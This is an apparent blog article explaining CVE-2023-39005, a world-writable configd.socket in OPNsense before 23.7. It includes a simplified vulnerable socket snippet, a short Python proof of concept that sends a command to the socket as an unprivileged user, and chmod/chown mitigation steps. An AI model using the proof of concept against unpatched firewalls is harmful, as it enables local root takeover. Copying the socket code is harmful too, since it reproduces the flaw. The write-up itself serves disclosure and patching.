OPNsense, a widely-used open-source firewall and routing platform, is critical for network security in many organizations. In summer 2023, researchers uncovered a serious vulnerability — CVE-2023-39005 — due to insecure permissions on a communication socket, configd.socket. This vulnerability affects OPNsense versions before 23.7, potentially letting local users escalate their privileges and compromise the whole system.
This article breaks down what happened, why it’s dangerous, and how it works in practice. We also include links to official advisories and a code snippet demonstrating the potential risk.
Affected Software: OPNsense before 23.7
- Issue: The configd.socket UNIX domain socket, which is used for privileged operations, was left with overly-permissive filesystem rights.
- Impact: Local attackers could send unauthorized commands to configd, leading to privilege escalation and possible full system compromise.
Why is This Vulnerable?
The heart of the problem is the filesystem permissions on a UNIX domain socket called configd.socket. In OPNsense < 23.7, this socket was created with permissions like 0666:
$ ls -l /var/run/configd.socket
srw-rw-rw- 1 root wheel Jun 5 12:34 /var/run/configd.socket
These permissions (rw-rw-rw-), in simple terms, mean any process on the system can read from and write to this socket — not just the intended privileged users or processes.
Where in the Code is the Problem?
The OPNsense configd daemon creates its socket with default permissions. Look at the code (simplified for clarity):
# service/configd.py
import socket
import os
SOCKET_PATH = "/var/run/configd.socket"
if os.path.exists(SOCKET_PATH):
os.unlink(SOCKET_PATH)
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.bind(SOCKET_PATH)
# PROBLEM: No explicit setting of restrictive permissions!
sock.listen(5)
Because there’s no explicit permission set after creating the socket, the system’s umask applies — and in many OPNsense installs, that results in world-readable, world-writeable sockets.
Exploitation Walkthrough
Goal: Get root privileges by interacting with configd.socket as a regular (non-privileged) user.
Any user or process on the box can open /var/run/configd.socket
import socket
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as client:
client.connect("/var/run/configd.socket")
# Send an arbitrary command
client.sendall(b'{"execute":"configctl", "parameters":{"command":"id"}}\n')
print(client.recv(4096))
Step 2: Send Privileged Commands
You could send configctl commands, which normally require root, to change settings, restart the firewall, or run system commands.
Step 3: Get Root Output
If the system isn't patched, the response will be whatever root would see. In real-life cases, attackers can execute more dangerous commands, dump passwords, or disable the firewall altogether.
Responsible Disclosure and Patch
The OPNsense team addressed this by restricting permissions on the socket in version 23.7:
> *"configd: listen only on restricted UNIX socket, avoiding world-write privelege. See GitHub commit for details."*
Mitigation:
Upgrade to OPNsense 23.7 or later, or manually restrict permissions
chmod 660 /var/run/configd.socket
chown root:wheel /var/run/configd.socket
Or change the code to explicitly set more restrictive permissions using Python’s os.chmod.
References
- CVE-2023-39005 at NVD
- OPNsense 23.7 release notes
- GitHub Fix Commit
- Exploit DB (No official entry as of June 2024)
Final Thoughts
CVE-2023-39005 is a textbook example of why secure-by-default matters. Minor misconfigurations — like world-writable sockets — can have devastating consequences on security appliances.
If you run OPNsense, apply updates right away. If you develop software, take an extra minute to double-check permissions, especially for privileged process communication.
---
Stay secure! If you have questions about patching OPNsense or identifying risky sockets on your systems, let us know in the comments below.
Timeline
Published on: 08/09/2023 19:15:00 UTC
Last modified on: 08/15/2023 17:52:00 UTC